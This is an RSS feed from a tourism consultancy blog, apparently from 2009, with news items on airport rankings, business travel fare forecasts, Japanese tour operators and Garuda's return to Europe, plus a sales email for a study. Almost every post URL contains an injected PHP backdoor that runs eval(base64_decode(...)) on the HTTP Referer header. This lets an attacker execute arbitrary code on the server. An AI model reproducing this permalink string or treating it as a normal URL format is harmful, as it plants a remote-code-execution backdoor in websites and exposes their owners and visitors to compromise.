Royal Intel - Tourism Intelligence Consultants » Announcements http://royalintel.com "Royal Intel is an indispensible partner of ours in our construction of our marketing programs, with their thorough analyses of Asia-Pacific tourism and swift turnaround of deliverables. Their reports are always spot on, user-friendly, and full of constructive counsel" - Søren Leerskov, Managing Director, Scandinavian Tourist Board Fri, 08 Jan 2010 06:41:37 +0000 http://wordpress.org/?v=2.8.6 en hourly 1 Singapore’s Changi Tops as World’s Favorite Airport http://royalintel.com/2009/10/26/singapore%e2%80%99s-changi-tops-as-world%e2%80%99s-favorite-airport/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/10/26/singapore%e2%80%99s-changi-tops-as-world%e2%80%99s-favorite-airport/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 27 Oct 2009 01:43:43 +0000 Lara http://royalintel.com/2009/10/26/singapore%e2%80%99s-changi-tops-as-world%e2%80%99s-favorite-airport/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
A survey of more than 14,500 frequent travelers, representing 160 countries around the world, voted Singapore’s Changi airport as the world’s favorite, closely followed by Hong Kong’s Chek Lap Kok.
This is the second year in a row that these two airports have been ranked the top two positions, although in 2008 the positions were reversed. The poll which was conducted by Priority Pass, an independent airport lounge program, involved a survey of travelers who took almost 250,000 flights between them over the last year (an average of 17 each) and thus able to provide a comprehensive perceptive overview about various airports. Speaking about the results, Priority Pass’s Head of Brand, Jonathan French, notes that the opinions about both Changi and Chek Lap Kok are almost universally valid throughout the world among many a traveler. Amsterdam’s Schiphol came in third.

Also in the top ten were Bangkok’s Suvarnabhumi and Seoul’s Incheon airports respectively. London’s Heathrow airport was voted the world’s worst for the second year running, followed by Paris’ Charles De Gaulle and Los Angeles’ LAX. The poll took place in September 2009 and was carried out online, with 14,526 Priority Pass members completing the survey.

Source: Asia Travel Tips at www.asiatraveltips.com

]]> http://royalintel.com/2009/10/26/singapore%e2%80%99s-changi-tops-as-world%e2%80%99s-favorite-airport/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Business Class Fares Forecasted to Increase with Surge in International Business Travel and Reduced Capacity http://royalintel.com/2009/10/04/business-class-fares-forecasted-to-increase-with-surge-in-international-business-travel-and-reduced-capacity/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/10/04/business-class-fares-forecasted-to-increase-with-surge-in-international-business-travel-and-reduced-capacity/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 05 Oct 2009 01:13:11 +0000 Lara http://royalintel.com/2009/10/04/business-class-fares-forecasted-to-increase-with-surge-in-international-business-travel-and-reduced-capacity/
According to the American Express Global Business Travel Forecast released at the end of September, pent up trip demand coupled with supply base changes are likely to cause rates to slightly increase in most travel categories by the end of 2010. Business class airfares in particular are expected to increase in line with reduced capacity and on-going business demand for international travel.
The Forecast is produced by eXpert insights, a newly created research practice of American Express Business Travel’s Global Advisory Services. Vice president and general manager, American Express Business Travel, Hervé Sedky, notes that the increase is in tandem with overall global trends where as the world begins to show signs of emerging from the recession, businesses are adapting to a fundamental shift in thinking focused on proving the value of travel and every employee connection. Heading into 2010, companies will need to consider the impact of these changes in mindset, particularly as projected rate increases in key travel categories gain momentum. A prolonged period of weak demand in the travel industry depressed prices across travel categories in 2009, most notably in hotels, which as an industry cannot reduce capacity as well as airlines and car rental companies.

Following this weakened demand in 2009, American Express Business Travel expects a pent up need for travel and meetings to be unleashed in 2010. Fuel prices, along with sustained signs of a restarting economy, could also generate slight up-ticks in travel category prices worldwide, particularly in Asia Pacific. Considering airfare, hotel, and ground transportation, it is expected that average domestic business trip to increase 1.2%, or USD 13, to a total of approximately USD 1,080. An increase of 2.4%, or approximately USD 67, is expected for international business trips to bring the average cost to USD 2,818. However, as unbundled and ancillary fees continue to add to the cost of trips, businesses should expect to add up to an estimated 15% to the total trip cost for air, hotel, and ground transport elements alone. After a 7% reduction in business travel in 2009 in the Asia Pacific region, growth for the major region’s countries serviced by American Express is expected to be 6% in 2010 overall as much of the region is set to escapes the protracted recession characteristic in North American and Europe.

According to Manning, director, eXpert insights research for American Express Business Travel Global Advisory Services, Christa Degnan, the forecast underscores that the complexity of managing business travel and understanding the underlying dynamics of the industry and supply base only becomes more challenging as economic conditions change and business opportunity is global. The 2010 Forecast is based on a number of primary data sources, including the American Express Business Travel Monitor, the American Express contracted rates database, aggregate transaction reports, Smith Travel Research (STR) Global Hotel Reviews, and for the first time this year, NBTA-IHS Global Insights business travel market sizing research.

Source: AMERICAN EXPRESS at www.americanexpress.com

]]> http://royalintel.com/2009/10/04/business-class-fares-forecasted-to-increase-with-surge-in-international-business-travel-and-reduced-capacity/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 JTB, KNT, NTA, JALPAK to Maintain Last Year’s Customer Levels for the Current Spring and Summer Period http://royalintel.com/2009/08/18/jtb-knt-nta-jalpak-to-maintain-last-year%e2%80%99s-customer-levels-for-the-current-spring-and-summer-period/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/08/18/jtb-knt-nta-jalpak-to-maintain-last-year%e2%80%99s-customer-levels-for-the-current-spring-and-summer-period/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 18 Aug 2009 07:01:04 +0000 Lara http://royalintel.com/2009/08/18/jtb-knt-nta-jalpak-to-maintain-last-year%e2%80%99s-customer-levels-for-the-current-spring-and-summer-period/
Japan Tourist Board (JTB), Kinki Nippon Tourist (KNT), Nippon Travel Agency (NTA), and JALPAK Travel have announced their optimism in recording favorable customer estimates during the current spring/summer season. These optimistic estimates, the aforementioned travel industry players note, will be comparable to or exceeding that of last year after suffering from setbacks in customer numbers in May and June due to impacts related to the H1N1 Swine Flu outbreak.

On their part, JTB and JALPAK Travel are keeping pace with estimates recorded a year ago, while KNT expects to surpass the previous year’s estimate by 2 to 3%, and NTA (as of July 19) by 4%. JTB eyes 619,000 customers, about the same number as in the previous year. The agency further anticipates a 6% increase to 85,000 in customers touring Europe due to improvements made in the guaranteeing of tour operation and contents of tour programs. The agency equally reports travel to Hawaii and Asia recording a growth of 3% to 122,000, and 4% to 232,000 respectively, due to better ground services and competitive tour prices. In the meantime, JTB has strived to increase sales of wedding and honeymoon tours as they are less vulnerable to economic fluctuation. As a result, tours associated with the “Sweet Memory” series are expected to attain a growth of 54% while family tours with departure from Tokyo are exhibiting a 27% growth.

On their part, KNT foresees an increase to 184,000 in customers from April to September, up 2 to 3% year-on-year. The travel agency has been struggling to cope with dwindling customer numbers after the H1N1 influenza outbreak but is now on course towards its target goals. The agency notes that the increase in customer estimates is due to a demand for short-stay, inexpensive nearby destinations in Asia and Micronesia with tours to Korea recording a 100% growth. The agency further reports that tours to Europe, marketed in 11 separate booklets, made a good start before the influenza breakout, and are at present keeping a moderate growth post-H1N1. As of July 19, NTA handled an estimate 134,774 customers, up 4% from a year ago. Before the month of June, NTN had recorded negative growth in all its destinations except for Asia, but recovery is seen for the months of July to September with destinations in China, Micronesia, and Europe topping the bill.

Bookings on tours to China, which had slumped last year, are recording progressive rates of 158% increase to reach 1,762. Sales of package tours were impressive in April significantly due to the reduction in fuel surcharge and appreciation of the Japanese yen, marking a positive growth for the first time in four months. NTA notes that its price-appealing tours to a number of destinations in Asia have seen an upsurge of 60,858 customers, up 22% since April. JALPAK on its part, forecasts to record 169,500 customers this spring/summer season, about the same number as last year. The agency notes that their ‘Destination China’ tour package, which had stalled in growth in 2008, will see 7,600 customers taking the tour, up 82%. Bookings to Taiwan are already up 30% to 9,000, and those to the rest of Asia are up 15% to 44,000.

Sales for spring/summer were reportedly buoyant at the initial stage in January, but the spread of the influenza virus cast a blow on sales. JALPAK reports that the demand for travel was back in June with bookings piling up around the autumn holidays in September. JALPAK’s staple package, wedding tours, and also family tours, have recorded significant bookings. Inexpensive short-haul destinations in and around Asia are indeed spurring growth and renewing optimism among the Japanese travel agencies, leading the way for their recovery bearing on a dented industry due to impacts of the H1N1 swine flu epidemic, upsurge in fuel surcharges and decline in the value of the Japanese yen.

Source: Travel Vision, Inc at www.travelvisionweekly.com

]]> http://royalintel.com/2009/08/18/jtb-knt-nta-jalpak-to-maintain-last-year%e2%80%99s-customer-levels-for-the-current-spring-and-summer-period/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Indonesia’s Garuda to Resume Flights to Europe in 2010 http://royalintel.com/2009/07/15/indonesia%e2%80%99s-garuda-to-resume-flights-to-europe-in-2010/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/07/15/indonesia%e2%80%99s-garuda-to-resume-flights-to-europe-in-2010/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 16 Jul 2009 03:08:30 +0000 Lara http://royalintel.com/2009/07/15/indonesia%e2%80%99s-garuda-to-resume-flights-to-europe-in-2010/
Indonesia’s Garuda is set to resume flying to Europe in the first half of 2010. This announcement comes after the EU Air Safety Committee recommends the lifting of the flight ban on Garuda and three other Indonesian carriers. The country’s Transportation Minister, Jusman Syafii Djamal, intonated that the European Commission should allow Garuda, Mandala Airlines, Airfast Indonesia, and Prime Air to fly in EU airspace.

With the lifting of the ban, Garuda seeks to first fly to Amsterdam, which it perceives as a large market and with improved outcomes, and secondly fly to Frankfurt too. The state-owned company had suspended its flights to European destinations in 2004 because of losses and concerns over safety. This expectation is however on condition that Garuda maintains the safety of its planes. In line with this expectation, Garuda will use its 330-200 aircraft and has equally ordered 10 Boeing 777 planes for the direct trip to Europe. The flight ban to the EU still remains in place for 53 other Indonesian airlines. Garuda managing director, Emirsyah Satar noted that the right choice for the flights to Europe would be the wide-bodied long-distance airliners for the Jakarta-Amsterdam and Bali-Amsterdam flights.

At the same time, the head of the carrier’s communications affairs states that a comprehensive study will be conducted on the planned resumption of Garuda flights to Europe. The study is to cover the carrier’s competitiveness and market segment such as the use of Garuda’s Boeing 747 by business travelers. Garuda, Indonesia`s biggest air carrier has been operating aircrafts of 48 different types to 30 domestic and 24 overseas destinations. In July 2007, the European Commission imposed a flight ban on all Indonesian carriers, forbidding them from entering the region, following a series of fatal accidents such as the one on New Year’s Day 2007, when an Adam Air flight plunged into the sea killing all 102 people onboard, and on March 7 same year when 22 people died when a Garuda jet shot off a runway and burst into flames. Comprehensive efforts have since been made to remedy the safety shortcomings in order to meet the International Civil Aviation Organization (ICAO) standards.

Source: eTravel BlackboardTM at www.etravelblackboard.com

]]> http://royalintel.com/2009/07/15/indonesia%e2%80%99s-garuda-to-resume-flights-to-europe-in-2010/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Proposal for ETC MIG Members – from Royal Intel http://royalintel.com/2008/12/07/proposal-for-etc-mig-members-from-royal-intel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2008/12/07/proposal-for-etc-mig-members-from-royal-intel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 08 Dec 2008 01:03:52 +0000 Lynnette http://royalintel.com/2008/12/07/proposal-for-etc-mig-members-from-royal-intel/ Dear MIG Colleagues,

Climate SolutionsIn anticipation of the United Nations Climate Change Conference in Copenhagen in 2009, Royal Intel is inviting NTOs and tourism entities across Europe to take part in a new study project: Climate Solutions – Technical Visits. With Climate Solutions – Technical Visits, Royal Intel is offering an extensive – and as always very generously priced – study of Asian technical visits to Europe – or specifically technical visits from China, India, Japan, and Korea focused on climate solutions to the individual project member countries.

VisitDenmark, VisitSweden, and Innovation Norway have all bought their respective copies of the study, and as evident from the testimonial in the attached flyer, the studies have been very well received. On the same note, we have now officially adopted the policy of “no cure, no pay”. That is our satisfaction guarantee.

The study usually takes three weeks to complete (depending on demand), and thus makes a nice Christmas present. Its relevance goes without saying with COP15 just around the corner.

Best regards,

Tue Ingemann Paarup
CEO
Royal Intel

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